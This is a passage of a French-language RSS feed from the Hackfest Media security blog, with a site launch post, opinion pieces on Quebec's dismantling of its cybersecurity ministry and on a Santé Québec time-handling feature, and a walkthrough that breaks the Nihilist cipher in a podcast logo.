<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Hackfest Media (français)</title>
    <link>https://media.hackfest.ca/</link>
    <atom:link href="https://media.hackfest.ca/blog/feed.xml" rel="self" type="application/rss+xml" />
    <description>Nouvelles, analyses et opinions de la communauté de sécurité informatique du Québec.</description>
    <language>fr-CA</language>
    <copyright>© 2009–2026 Hackfest Communication</copyright>
    <lastBuildDate>Wed, 04 Nov 2026 17:44:06 +0000</lastBuildDate>
    <pubDate>Wed, 04 Nov 2026 09:00:00 +0000</pubDate>
    <image>
      <url>https://media.hackfest.ca/images/icons/favicon-32.png</url>
      <title>Hackfest Media</title>
      <link>https://media.hackfest.ca/</link>
    </image>
    <generator>Jekyll</generator>
    <item>
      <title>Hackfest Media est né</title>
      <link>https://media.hackfest.ca/blog/naissance-hackfest-media</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/naissance-hackfest-media</guid>
      <pubDate>Wed, 04 Nov 2026 09:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Nouvelles &amp; opinion</category>
      <category>nouvelles</category>
      <category>Hackfest Media</category>
      <category>Hackfest</category>
      <category>securite.fm</category>
      <category>podcast</category>
      <category>commandite</category>
      <description>Le blogue du Hackfest change de nom et d’ambition : un seul endroit pour nos nouvelles, nos opinions, nos publications des réseaux sociaux et les moments forts du podcast.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2026/hackfest-media-lancement.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p>Le blogue du Hackfest devient <strong>Hackfest Media</strong>, à une nouvelle adresse : <a href="https://media.hackfest.ca">media.hackfest.ca</a>. Même communauté, même franc-parler, mais une ambition plus grande : devenir l’endroit où la communauté de sécurité de l’information du Québec s’informe, débat et se retrouve.</p>

<p>Tous les articles publiés depuis 2009 sont toujours là, et les anciens liens fonctionnent encore. Chaque article est publié en français et en anglais.</p>

<h2 id="ce-que-vous-trouverez-ici">Ce que vous trouverez ici</h2>

<p>Les articles sont classés en huit catégories :</p>

<ul>
  <li><a href="https://media.hackfest.ca/categories/nouvelles/">Nouvelles &amp; opinion</a> : l’actualité cyber d’ici et nos prises de position.</li>
  <li><a href="https://media.hackfest.ca/categories/rancongiciels/">Rançongiciels</a> : les attaques et les groupes criminels qui ciblent le Québec et le Canada.</li>
  <li><a href="https://media.hackfest.ca/categories/vulnerabilites/">Vulnérabilités</a> : analyses de failles, divulgations et correctifs.</li>
  <li><a href="https://media.hackfest.ca/categories/fuites-donnees/">Fuites &amp; vie privée</a> : fuites de données, mots de passe et renseignements personnels.</li>
  <li><a href="https://media.hackfest.ca/categories/politique/">Politique &amp; réglementation</a> : lois, organismes de réglementation et décisions gouvernementales.</li>
  <li><a href="https://media.hackfest.ca/categories/outils-projets/">Outils &amp; projets</a> : les projets et outils publiés par la communauté.</li>
  <li><a href="https://media.hackfest.ca/categories/walkthroughs/">Walkthroughs &amp; CTF</a> : solutions de défis et de salles d’entraînement.</li>
  <li><a href="https://media.hackfest.ca/categories/cryptographie/">Cryptographie &amp; énigmes</a> : chiffrement, énigmes et casse-têtes.</li>
</ul>

<h2 id="nos-réseaux-sociaux-au-même-endroit">Nos réseaux sociaux, au même endroit</h2>

<p>Les commentaires et les opinions qu’on publie sur nos réseaux sociaux seront désormais publiés ici aussi. Un fil sur LinkedIn ou sur Mastodon disparaît vite. Ici, il reste, avec ses sources, et il est facile à retrouver, à citer et à partager.</p>

<h2 id="le-podcast-securitefm">Le podcast securite.fm</h2>

<p>Les extraits importants et les épisodes marquants du podcast <a href="https://securite.fm">securite.fm</a> auront aussi leur place sur Hackfest Media, avec le contexte et les liens pour aller plus loin.</p>

<h2 id="commanditer-hackfest-media">Commanditer Hackfest Media</h2>

<p>Hackfest Media peut être commandité. Vous voulez appuyer un média indépendant et rejoindre directement la communauté de la sécurité de l’information au Québec? Les forfaits et les tarifs sont sur la page <a href="https://media.hackfest.ca/commanditer">Commanditer</a>.</p>

<h2 id="écrivez-avec-nous">Écrivez avec nous</h2>

<p>Vous avez une nouvelle, une analyse ou une opinion à partager? <a href="https://media.hackfest.ca/contact">Proposez un article</a>. Et pour suivre ce qu’on publie, abonnez-vous au <a href="https://media.hackfest.ca/blog/feed.xml">flux RSS</a> ou rejoignez la communauté sur <a href="https://discord.hackfest.ca">Discord</a>.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Québec démantèle le ministère de la Cybersécurité et du Numérique</title>
      <link>https://media.hackfest.ca/blog/quebec-demantele-ministere-cybersecurite-numerique</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/quebec-demantele-ministere-cybersecurite-numerique</guid>
      <pubDate>Tue, 03 Nov 2026 09:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Nouvelles &amp; opinion</category>
      <category>nouvelles</category>
      <category>opinion</category>
      <category>MCN</category>
      <category>Conseil du trésor</category>
      <category>Alain Therrien</category>
      <category>gouvernement du Québec</category>
      <category>polqc</category>
      <description>Démanteler le MCN sans projet de loi, en pleine vague de cyberattaques, et confier la sécurité de l’État au Conseil du trésor : un risque que le Québec ne peut pas se permettre.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2026/mcn-demantelement-photo.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/2026/mcn-demantelement-photo.webp" alt="Photo de Radio-Canada accompagnant l’article sur le démantèlement du MCN" />
<em>Photo : Radio-Canada / Sylvain Roy Roussel.</em></p>

<p><a class="source-card" href="https://ici.radio-canada.ca/nouvelle/2297473/pq-demante-ministere-cybersecurite-numerique" rel="noopener"><span class="source-card__label">Source</span><span class="source-card__title">Le PQ démantèle le ministère de la Cybersécurité et du Numérique</span><span class="source-card__site">ici.radio-canada.ca ↗</span></a></p>

<p>Québec démantèle le ministère de la Cybersécurité et du Numérique du Québec (MCN) et confie la sécurité de l’État à un ministre sans expérience en cybersécurité, en TI et en sécurité de l’information… et ce, en pleine guerre informatique contre des villes, l’énergie et les géants de l’alimentaire.</p>

<p>Le démantèlement a été fait sans projet de loi. Pas de vote à l’Assemblée nationale, et ses 2 038 employés relèvent maintenant du Secrétariat du Conseil du trésor (SCT).</p>

<p>Le ministre qui hérite de la cybersécurité de l’État, Alain Therrien, est économiste. Il n’a <strong>AUCUNE</strong> expérience en TI, en cybersécurité ou en sécurité de l’information. Sauf 5 mois comme critique de l’opposition en 2015, où il critiquait la gestion des budgets. On s’entend, tous les projets gouvernementaux ont un problème de budget.</p>

<p>Mais un rançongiciel se fout pas mal de vos appels d’offres gouvernementaux.</p>

<p>On ne demande pas un ministre qui programme. On demande quelqu’un, quelque part, avec une dizaine d’années d’expérience dans le domaine, qui sait de quoi il parle.</p>

<h2 id="sources">Sources</h2>

<ul class="sources">
  <li><a href="https://ici.radio-canada.ca/nouvelle/2297473/pq-demante-ministere-cybersecurite-numerique">Le démantèlement du MCN</a> <span class="source-site">radio-canada.ca ↗</span></li>
  <li><a href="https://www.legisquebec.gouv.qc.ca/fr/document/lc/G-1.03">Le rôle du dirigeant principal de l’information</a> <span class="source-site">legisquebec.gouv.qc.ca ↗</span></li>
  <li><a href="https://www.assnat.qc.ca/fr/deputes/therrien-alain-12189/biographie.html">Le parcours d’Alain Therrien</a> <span class="source-site">assnat.qc.ca ↗</span></li>
  <li>Ses interventions sur l’informatique en 2015 (Commission des finances publiques)
    <ul>
      <li><a href="https://www.assnat.qc.ca/fr/travaux-parlementaires/commissions/cfp-41-1/journal-debats/CFP-150515.html">Séance du 15 mai 2015</a> <span class="source-site">assnat.qc.ca ↗</span></li>
      <li><a href="https://www.assnat.qc.ca/fr/travaux-parlementaires/commissions/cfp-41-1/journal-debats/CFP-151023.html">Séance du 23 octobre 2015</a> <span class="source-site">assnat.qc.ca ↗</span></li>
    </ul>
  </li>
  <li><a href="https://moncarnet.com/2026/11/02/le-pq-demantele-le-ministere-de-la-cybersecurite-et-du-numerique-une-decision-qui-suscite-la-controverse/">Sa déclaration sur les contrats informatiques</a> <span class="source-site">moncarnet.com ↗</span></li>
  <li><a href="https://lereflet.qc.ca/alain-therrien-nomme-president-du-conseil-du-tresor/">« Garder les cordons de la bourse serrés »</a> <span class="source-site">lereflet.qc.ca ↗</span></li>
  <li><a href="https://gowlingwlg.com/en/insights-resources/articles/2025/quebec-stop-publishing-privacy-reports">La CAI ne publie plus la liste des incidents de confidentialité</a> <span class="source-site">gowlingwlg.com ↗</span></li>
  <li><a href="https://www.cai.gouv.qc.ca/actualites/publication-du-rapport-quinquennal-2026-de-la-commission">La CAI juge ses ressources insuffisantes</a> <span class="source-site">cai.gouv.qc.ca ↗</span></li>
  <li><a href="https://www.lapresse.ca/actualites/2026-02-16/fiasco-saaqclic/quelles-sont-les-recommandations-du-rapport-gallant.php">La recommandation no 1 du rapport Gallant</a> <span class="source-site">lapresse.ca ↗</span></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Santé Québec invente la compression d’heures</title>
      <link>https://media.hackfest.ca/blog/sante-quebec-compression-temporelle</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/sante-quebec-compression-temporelle</guid>
      <pubDate>Mon, 02 Nov 2026 09:00:00 +0000</pubDate>
      <dc:creator>Hackfest Communication</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Nouvelles &amp; opinion</category>
      <category>nouvelles</category>
      <category>opinion</category>
      <category>Santé Québec</category>
      <category>heure normale</category>
      <category>développement logiciel</category>
      <description>Au changement d’heure, deux heures de 1 h deviennent une seule « heure logique ». Codée, approuvée, signée et mise en production : ce n’est pas un bogue, c’est une feature.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/2026/sante-quebec-compression-temporelle.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/2026/sante-quebec-compression-temporelle.webp" alt="Infographie de Santé Québec : « Comment fonctionne la compression temporelle », où deux heures de 1 h sont combinées en une seule heure logique" /></p>

<p>INCOMPÉTENCE. Il n’y a pas d’autre mot.</p>

<p>Santé Québec invente la compression d’heures, une vraie farce!</p>

<ul>
  <li>Un dev l’a codée.</li>
  <li>Un gestionnaire de projet l’a approuvée.</li>
  <li>L’administration l’a signée.</li>
  <li>Et c’est parti en production. 🤡</li>
</ul>

<p>Ce n’est pas un bogue, c’est une <em>feature</em>, issue d’une série d’échecs.</p>

<p>🎥 L’entrevue de Jean-René Dufort : <a href="https://www.facebook.com/reel/1434156314822606">https://www.facebook.com/reel/1434156314822606</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Déchiffrage du message dans le logo du podcast La French Connection</title>
      <link>https://media.hackfest.ca/blog/logo-lfc-cracked</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/logo-lfc-cracked</guid>
      <pubDate>Wed, 13 Dec 2023 08:00:00 +0000</pubDate>
      <dc:creator>Minkowski</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Cryptographie &amp; énigmes</category>
      <category>La French Connection</category>
      <category>podcast</category>
      <category>chiffrement</category>
      <description>Depuis ses débuts, le logo du podcast La French Connection arbore un message chiffré. Bien des gens ont rêvé de percer le mystère de ce chiffre. Avis à ceux qui ne veulent pas briser la magie, ne lisez point une ligne de plus car ce texte dévoile les secrets et le message derrière ce logo.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/logo-360x360.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<h1 id="résumé">Résumé</h1>
<p>Depuis ses débuts, le logo du podcast <em>La French Connection</em> arbore un
message chiffré. Bien des gens ont rêvé de percer le mystère de ce
chiffre. Avis à ceux qui ne veulent pas briser la magie, ne lisez
point une ligne de plus car ce texte dévoile les secrets et le message
derrière ce logo. (1)</p>

<h1 id="analyse">Analyse</h1>

<p>Les amateurs du podcast <em>La French Connection</em> ont remarqué depuis
longtemps que le logo du dit podcast présente, en son bas, une
mystérieuse inscription qui recèle sans aucun doute un message secret
(Figure 1).</p>

<h2 id="le-message-chiffré">Le message chiffré</h2>

<p>Le mystérieux chiffre est composé de 25 nombres hexadécimaux. Il est
souvent plus facile de convertir les nombres hexadécimaux en nombre
décimaux. <a href="https://gchq.github.io/CyberChef/">CyberChef</a> se charge très
bien de ce genre de besogne (Table 1).</p>

<p><img src="https://media.hackfest.ca/images/posts/logo-360x360.webp" alt="Logo du podcast La French Connection." /></p>

<p>Figure 1 : Logo du podcast La French Connection.</p>

<p>Table 1 : Mystérieux chiffre.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 4E 39 44 60 35 63 3B 19 24 55 62 3A 2E 4F 56 42 4F 2D 21 3F 62 1C 26 3C 5F
 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95
</code></pre></div></div>

<h2 id="fréquences">Fréquences</h2>

<p>Puisque nous mettons déjà à profit CyberChef, aussi bien en profiter
pour faire une analyse en fréquence. La Figure 2 montre le résultat de cette
analyse. On constate que sur 25 nombres, seulement deux sont répétés (4F
et 62). En même temps, la séquence n’est pas aléatoire puisque les
valeurs ne sont pas réparties uniformément sur la plage des 256 nombres
possibles (de 00 à FF).</p>

<p><img src="https://media.hackfest.ca/images/posts/frequency.webp" alt="Analyse de la fréquence des nombres." /></p>

<p>Figure 2 : Analyse de la fréquence des nombres.</p>

<p>Ces résultats nous permettent d’exclure un chiffrement moderne ou une
fonction de hachage qui produirait des données plus uniformes. De plus,
on n’a pas non plus affaire à un simple chiffre de substitution
puisqu’il y a peu de répétitions. Le message chiffré étant très court,
il est difficile de faire une analyse statistique plus poussée ou
d’utiliser la force brute sans avoir identifié la méthode de
chiffrement.</p>

<p>En regardant plus attentivement les nombres décimaux, on remarque
qu’aucun ne se termine par 1, 2 ou 4. De plus, les chiffres des unités
ne sont pas répartis uniformément, tel qu’illustré à la Table 2. La répartition
du chiffre des dizaines est un peu plus uniforme, mais on note l’absence
de tout chiffre plus petit que 20 (Table 3).</p>

<p>Table 2 : Répartition du chiffre des unités.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Unité       %
   0         4       
   3        12
   5        16
   6        20
   7         4
   8        28
   9        16
</code></pre></div></div>

<p>Table 3 : Répartition du chiffre des dizaines.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> Dizaine       %
    2          8
    3         12
    4          8
    5         16
    6         16
    7         12
    8          8
    9         20
</code></pre></div></div>

<h1 id="à-la-recherche-du-chiffre-perdu">À la recherche du chiffre perdu</h1>

<p>Avec les quelques informations obtenues, il est possible d’explorer
plusieurs pistes pour tenter d’identifier le chiffrement utilisé. Les
nombres du chiffre ont très certainement été créés à l’aide de règles
mathématiques simples qui leurs confèrent les caractéristiques
observées. Un bon endroit pour débuter la recherche pour identifier le
chiffre est <a href="https://www.dcode.fr/">dCode</a>. Ce site une ressource
précieuse pour en apprendre plus sur les codes et le chiffrement. Il
offre non seulement des descriptions très détaillées de plusieurs
dizaines de chiffremements classiques, mais aussi des outils pour
encoder, décoder et briser certains d’entre eux.</p>

<h2 id="polybe">Polybe</h2>

<p>Nous avons probablement affaire à un chiffre de substitution ou de
transposition qui inclu des éléments additionnels pour rendre le
déchiffrage plus difficile. La méthode la plus amusante pour identifier
le chiffrement utilisé est de passer de longues heures à explorer les
différents chiffres classiques, à lire leurs descriptions et à chiffrer
et déchiffrer différents messages. C’est aussi la méthode demandant le
plus de temps. Si vous l’utilisez, vous finirez probablement par tomber
sur le chiffre de Polybe qui utilise le carré de Polybe, une grille de
5x5 associant chacune des lettres de l’alphabet à un nombre entre 11 et</p>
<ol>
  <li>La Table 4 montre un carré possible. Comme il y a 26 lettres à l’alphabet,
il faut en sacrifier une. Dans ce cas-ci on sacrifie le Z mais le J, V
ou W sont aussi fréquemment rejetés.</li>
</ol>

<p>Table 4 : Carré de Polybe.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>           1       2       3       4       5
 1         A       B       C       D       E
 2         F       G       H       I       J
 3         K       L       M       N       O
 4         P       Q       R       S       T
 5         U       V       W       X       Y
</code></pre></div></div>

<p>Pour chiffrer un message à l’aide d’un carré de Polybe, il suffit de
trouver la lettre dans le tableau et de la remplacer par le nombre formé
par le numéro de ligne suivit par le numéro de colonne. Par exemple, la
lettre Q sera remplacée par le nombre 42.</p>

<h2 id="polybe-sur-les-stéroïdes">Polybe sur les stéroïdes</h2>

<p>Afin de rendre la tâche plus difficile aux curieux, il est possible
d’utiliser une clé pour changer l’ordre des lettres de la grille. Le mot
utilisé doit avoir des lettres distinctes. On écrit les lettres de ce
mot secret au haut de la grille et on continue avec les lettres
restantes. Par exemple, avec la clé HACK on aurait le carré présenté en Table 5.</p>

<p>Table 5: Carré de Polybe avec la clé HACK.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>         1       2       3       4       5  
 1       H       A       C       K       B
 2       D       E       F       G       I
 3       J       L       M       N       O
 4       P       Q       R       S       T
 5       U       V       W       X       Y
</code></pre></div></div>

<p>Le chiffre de Polybe présente une régularité dans les nombres utilisés,
ce qui le rend facilement identifiable puisque seuls les nombre 11, 12,
13, 14, 15, 21, 22, 23, 24, 25, 31, 32, 33, 34, 35, 41, 42, 43, 44, 45,
51, 52, 53, 54, 55 sont utilisables.</p>

<h2 id="polybe-ou-pas-polybe-là-est-la-question">Polybe ou pas Polybe? Là est la question!</h2>

<p>Bien que le chiffre de Polybe présente des similitudes avec les
caractéristiques de notre message, les nombres possibles ne
correspondent pas. Nous avons donc affaire à un autre chiffre ou à une
variation du chiffre de Polybe avec une grille différente.</p>

<p>En s’éduquant un peu plus sur le chiffre de Polybe, on constate qu’il
est souvent associé au chiffre des Nihilistes qui est un surchiffrement
du carré de Polybe. On peut reconnaitre le chiffre des Nihilistes grâce
aux indices suivants:</p>

<ul>
  <li>
    <p>Contient uniquement des nombres entre 22 et 110.</p>
  </li>
  <li>
    <p>Ne contient aucun des nombres suivants:<br />
21, 31, 41, 51, 61, 71, 81, 91, 101.</p>
  </li>
  <li>
    <p>Le chiffre est associé à une quelconque référence à la Russie.</p>
  </li>
</ul>

<h2 id="mini-osint">Mini OSINT</h2>

<p>Les deux premières caractéristiques correspondent parfaitement au
message secret au bas du logo, mais une mention quelconque de la Russie
dans un épisode confirmerait le tout. Un peu de Google Fu ceinture
blanche (<em>logo site:securite.fm</em>) nous révèle qu’on mentionne le message
encodé dans le logo à l’épisode 0x017 (aux environs de la minute 40),
tel qu’illustré à la Figure 3. Lors de cet épisode Damien, toujours gourmand,
nous donne un indice: "Poutine"... À moins qu’il fasse référence à un
autre type de "Putin", beaucoup moins digeste.</p>

<p><img src="https://media.hackfest.ca/images/posts/googlefu.webp" alt="L'épisode 0x017 mentionne le mystère du logo." /></p>

<p>Figure 3 : L’épisode 0x017 mentionne le mystère du logo.</p>

<h1 id="chiffre-des-nihilistes">Chiffre des Nihilistes</h1>

<p>Rendu célèbre par son utilisation par les nihilistes russes du 19ième
siècle. Ce chiffre est simple à mémoriser et permet de transmettre un
message de plusieurs façons. Par exemple, les prisonniers russes
transmettaient des messages de ce type en cognant sur les murs de leurs
cellules un nombre de fois qui correspondait à la rangée puis à la
colonne de chaque lettre.</p>

<h2 id="fonctionnement">Fonctionnement</h2>

<p>Le fonctionnement du chiffre des Nihilistes est simple:</p>

<ol>
  <li>
    <p>On choisit un carré de Polybe, avec les lettres potentiellement dans
le désordre grâce à une clé convenue d’avance. Par exemple, le carré
de la Table 5.</p>
  </li>
  <li>
    <p>On encode le message avec la grille. Chaque lettre se voit attribuée
un chiffre correspondant à une ligne et une colonne. Le message
"MESSAGESECRET" deviendrait par exemple: 33 22 44 44 12 24 22 44
22 13 43 22 45.</p>
  </li>
  <li>
    <p>On choisit une clé de surchiffrement et on l’encode avec le carré de
Polybe. Si on choisit "PLANET" comme clé, on aura 41 32 12 34
22 45.</p>
  </li>
  <li>
    <p>On réécrit la clé encodée autant de fois que nécessaire sous le
message encodé et on additionne les deux nombres comme dans la Table 6.</p>
  </li>
</ol>

<p>Table 6 : Surchiffrement.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   M    E    S    S    A    G    E    S    E    C    R    E    T
  ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
   33   22   44   44   12   24   22   44   22   13   43   22   45
   41   32   12   34   22   45   41   32   12   34   22   45   41
   74   54   56   78   34   69   63   76   34   47   65   67   86
</code></pre></div></div>

<p>On obtient alors un chiffrement par substitution auquel on additionne
une clé de façon répétée. Au final, on aura un chiffrement
polyalphabétique fractionné puisque deux lettres identiques peuvent être
encodées de façon différente selon leur position dans le message.</p>

<h2 id="vulnérabilités">Vulnérabilités</h2>

<p>Le chiffre des Nihilistes comporte de multiples vulnérabilités dont
celles ci-dessous:</p>

<ul>
  <li>
    <p>La clé de surchiffrement est répétée. Quand le message chiffré est
plus long que cette clé, on peut observer des similitudes entre les
blocs de texte de même longueur que la clé.</p>
  </li>
  <li>
    <p>Il y a un nombre limité de combinaisons pour les additions. Par
exemple, le chiffre 80 ne peut être obtenu qu’avec les additions
$25+55$ ou $35+45$.</p>
  </li>
  <li>
    <p>Plus les nombres sont grands ou petits, plus les possibilités sont
limitées. Par exemple, 22 ou 110 ne peuvent être obtenus que si la
lettre encodée est la même que celle de la clé de surchiffrement et
que cette lettre est soit dans le coin supérieur gauche ou le coin
inférieur droit de la grille, respectivement.</p>
  </li>
  <li>
    <p>Un nombre ayant un 0 à la position des unités indique que les
nombres additionnés proviennent de la dernière colonne.</p>
  </li>
  <li>
    <p>Similairement, un nombre ayant un 2 à la position des unités
provient d’une addition de nombres de la première colonne.</p>
  </li>
  <li>
    <p>Une fois la longueur de la clé identifiée et un espace de clé
réduit, on peut trouver la clé (si c’est un mot), par déduction ou
avec un dictionnaire.</p>
  </li>
  <li>
    <p>Une fois la clé de surchiffrement trouvée, le problème se réduit à
un simple chiffre de substitution, un chiffre de Polybe.</p>
  </li>
</ul>

<p>La cryptanalyse du chiffre des Nihilistes sera grandement facilitée si
le message codé est long et/ou si on possède un autre message décodé qui
aurait été chiffré avec la même grille et la même clé de surchiffrement.
Malheureusement, dans le cas présent, on n’a aucun de ces deux éléments
facilitateurs.</p>

<h1 id="déchiffrement">Déchiffrement</h1>

<p>Il y a très peu de répétitions dans le message codé, 78 57 68 96 53 99
59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95, ce qui indique
que la clé de surchiffrement n’est probablement par trivialement courte
(1, 2 ou 3 caractères).</p>

<h2 id="longueur-de-la-clé">Longueur de la clé</h2>

<p>La première étape est de déterminer la longueur de la clé de
surchiffrement ce qui nous donnera la période du chiffre. Un chiffre
aura une période de 4 si une clé de 4 caractères est répétée pour le
chiffrement puisque chaque bloc de 4 lettres utilisera la même clé.</p>

<p>Pour déterminer la longueur de la clé, on va créer des tableaux avec un
nombre de colonnes correspondant à la longueur de clé que l’on désir
tester. Par exemple, si on veut vérifier si une clé de 6 caractères est
possible, on doit créer la Table 7 de 6 colonnes et y placer le message chiffré
dans l’ordre.</p>

<p>Table 7 : Tableau pour tester si une clé de 6 caractères est possible.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 78   57   68   96   53   99
 59   25   36   85   98   58
 46   79   86   66   79   45
 33   63   98   28   38   60
 95                      
</code></pre></div></div>

<p>On doit créer un tableau de ce genre pour toutes les longueurs de clés
de surchiffrement qu’on veut tester. Dans notre cas, entre 1 et 25
colonnes.</p>

<p>Pour chaque colonne d’un tableau, on applique l’algorithme ci-dessous.
D’abord au chiffre des dizaines, puis au chiffre des unités. Si pour une
colonne, cet algorithme retourne faux soit pour le chiffre des dizaines
ou des unités, c’est qu’aucune addition n’est possible pour les
combinaisons de nombres dans la colonne. La clé de surchiffrement ne
peut donc avoir la longueur supposée.</p>

<p>Essentiellement, on vérifie que la différence entre le chiffre maximum
et minimum est plus petite que 5. Si ce n’est pas le cas, c’est
impossible qu’un même chiffre (entre 1 et 5) ait pu surencoder le
chiffre des unités ou dizaines. Par exemple, si les chiffres des unités
pour une colonne sont 2, 4, 7, 3, 4, la différence entre 7 et 2 est de</p>
<ol>
  <li>Or il est impossible de trouver deux chiffres tels que $x_1 + y = 7$
et $x_2 + y = 2$ où $1\leq x_i \leq 5$ et $1\leq y \leq 5$</li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>array $A \gets$ chiffres des unités ou dizaines

for all 𝑛 ∈ {0, . . . , 𝑎𝑟𝑟𝑎𝑦𝑙𝑒𝑛𝑔𝑡ℎ − 1} do

if 𝐴[𝑖] == 0 then

$A[i] \gets 10$

end if

end for

return max(A) - min(A) \&lt; 5

</code></pre></div></div>

<p>Si on revient à la Table 7, on constate que les chiffres des dizaines pour la
première colonne sont 7, 5, 4, 3, 9. On a une différence de 6 entre les
chiffres maximum et minimum, donc aucune clé de 6 caractères n’aurait pu
être utilisée.</p>

<p>Si on applique cette règle pour des tableaux de 2 à 25 rangées (à l’aide
d’un script Python maison), on obtient des longueurs de clés possibles
de 10, 20, 22, 23, 24 ou 25. Comme le message a 25 caractères, les clés
de longueur entre 20 et 25 sont considérées comme possibles puisque dans
ces cas la majorité des colonnes ne contiendront qu’un nombre. Par
contre, elles sont peu probables puisque si la longueur de la clé est
près de la longueur du message, on aura presque un chiffre de Vernam
(one-time pad) ce qui serait pratiquement impossible à décoder sans
connaitre la clé.</p>

<p>Dans ces circonstances, la longueur de la clé est fort probablement de
10.</p>

<h2 id="espace-de-clé">Espace de clé</h2>

<p>Une fois la longueur de la clé établie, on peut tenter de réduire
l’espace de clé. En effet, avec le chiffre des Nihilistes, ce ne sont
pas toutes les clés de 10 caractères qui sont possibles, mais seulement
un nombre réduit de celles-ci. Pour limiter le nombre de clés possibles
on a besoin de la Table 8 avec autant de colonnes que la longueur de la clé.</p>

<p>Table 8 : Tableau de 10 colonnes.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 78   57   68   96   53   99   59   25   36   85
 98   58   46   79   86   66   79   45   33   63
 98   28   38   60   95                      
</code></pre></div></div>

<p>Pour chacune des colonnes de ce tableau, on doit appliquer l’algorithme
suivant qui produira la liste des nombres possiblement utilisés pour
surchiffrer une colonne. Encore une fois, c’est une conséquence directe
de l’utilisation du carré de Polybe qui limite le nombre des unité ou
dizaines à un chiffre entre 1 et 5.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>array $col \gets$ une colonne du tableau

$dizaineMin \gets 1$

$dizaineMax \gets 5$

$uniteMin \gets 1$ 

$uniteMax \gets 5$

for all 𝑛 ∈ 𝑐𝑜𝑙 do

$unite \gets n \mod 10$

if $unite == 0$ then

$uniteMin \gets 5$

$uniteMax \gets 5$

else if $unite &lt; 7$ then

$uniteMin \gets 1$

$uniteMax \gets unite - 1$

else

$uniteMin \gets unite - 5$

$uniteMax \gets 5$

end if

array $unitesPossibles \gets \{uniteMin, \dots, uniteMax\}$

$dizaine \gets floor(n/10) \mod 10$

if $dizaine == 0$ then

$dizaineMin \gets 5$

$dizaineMax \gets 5$

else if $dizaine &lt; 7$ then

$dizaineMin \gets 1$

$dizaineMax \gets dizaine - 1$

else

$dizaineMin \gets dizaine - 5$

$dizaineMax \gets 5$

end if

array $dizainesPossibles \gets \{dizaineMin, \dots, dizaineMax\}$

end for

return $combinaisons(dizainesPossibles, unitesPossibles)$

</code></pre></div></div>

<p>Si on applique cet algorithme à chaque colonne de la Table 8 , on obtient les
possibilités de la Table 9 pour chacun des caractères de la clé de
surchiffrement.</p>

<p>Table 9  : Espace de clé.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Position      Possibilités

    1         43, 44, 45, 53, 54, 55
    2               13, 14, 15
    3         13, 14, 15, 23, 24, 25
    4                   45
    5                 41, 42
    6             44, 45, 54, 55
    7         24, 25, 34, 35, 44, 45
    8             11, 12, 13, 14
    9             11, 12, 21, 22
    10        31, 32, 41, 42, 51, 52
</code></pre></div></div>

<p>Même si tous ces calculs sont faisables à la main, un script Python peut
être une aide importante tant au point de vue temps, que santé mentale.</p>

<h2 id="des-chiffres">Des chiffres</h2>

<p>Pour ce chiffre, on a donc une clé de 10 caractères chaque caractère
ayant respectivement 6, 3, 6, 1, 2, 4, 6, 4, 4, et 6 possibilités. Le
nombre de combinaisons possibles est de
$6 \times 3 \times 6 \times 1 \times 2 \times 4 \times 6 \times 4 \times 4 \times 6 = 497664$.
Parmi ces combinaisons, beaucoup ne sont pas des mots. On pourrait
commencer par les exclure mais, au final, si la clé est aléatoire nous
avons 497664 clés à tester.</p>

<p>De plus, si on ne veut pas devoir valider manuellement chaque test de
déchiffrage, il faudrait automatiser le tout en comparant chaque bloc de
4 caractères d’une tentative de décodage aux
<a href="https://github.com/torognes/enigma/blob/master/">quadrigrammes</a>
français et anglais (on présume que le message est dans une de ces deux
langues) qui sont au nombre d’environ 400000 chacun. Notons qu’il y a 22
blocs de 4 caractères possibles dans une séquence de 25 caractères.</p>

<p>Finalement, rien ne nous certifie qu’un carré de Polybe totalement
aléatoire n’a pas été utilisé pour la substitution initiale. Pour 26
lettres on a $26! \approx 4 \times 10^{26}$ carrés possibles.</p>

<p>On aura approximativement
$497644 \times 400000 \times 400000 \times 22 \times 4 \times 10^{26} \approx 7 \times 10^{44}$
